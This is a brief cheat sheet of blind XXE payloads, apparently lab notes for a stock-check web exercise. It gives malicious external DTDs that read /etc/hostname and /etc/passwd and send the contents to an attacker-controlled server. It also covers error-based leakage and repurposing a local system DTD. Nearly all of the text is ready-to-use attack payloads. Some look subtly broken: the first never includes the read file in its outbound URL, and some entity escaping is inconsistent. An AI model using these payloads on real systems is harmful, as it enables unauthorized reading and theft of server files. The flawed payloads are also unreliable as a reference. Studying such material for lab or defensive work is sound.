In-order to perform this, we'll have to have an exploit server containing our malicious dtd XML document
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLAB/exploit.dtd'>">
%eval;
%exfil;
And now we can copy down our exploit server's URL and use it in our usual payload, keep an eye on the in-band request containing the hostname, Always use /etc/hostname instead of /etc/passwd.
<!DOCTYPE stockCheck [ <!ENTITY % xxe SYSTEM "https://THE-MALICIOUS-DTD-URL/exploit.dtd"> %xxe; ]>
Blind XXE to retrieve data by triggering errors
Store this XML payload in the exploit server
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Now the usual way to get a network interaction
<!DOCTYPE d0p [ <!ENTITY % xxe SYSTEM "http://YOUR-EXPLOIT-DTD"> %xxe;]>
Blind XXE by defining local DTD
Use this payload, when your target is a Linux Sys
<!DOCTYPE stockCheck [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
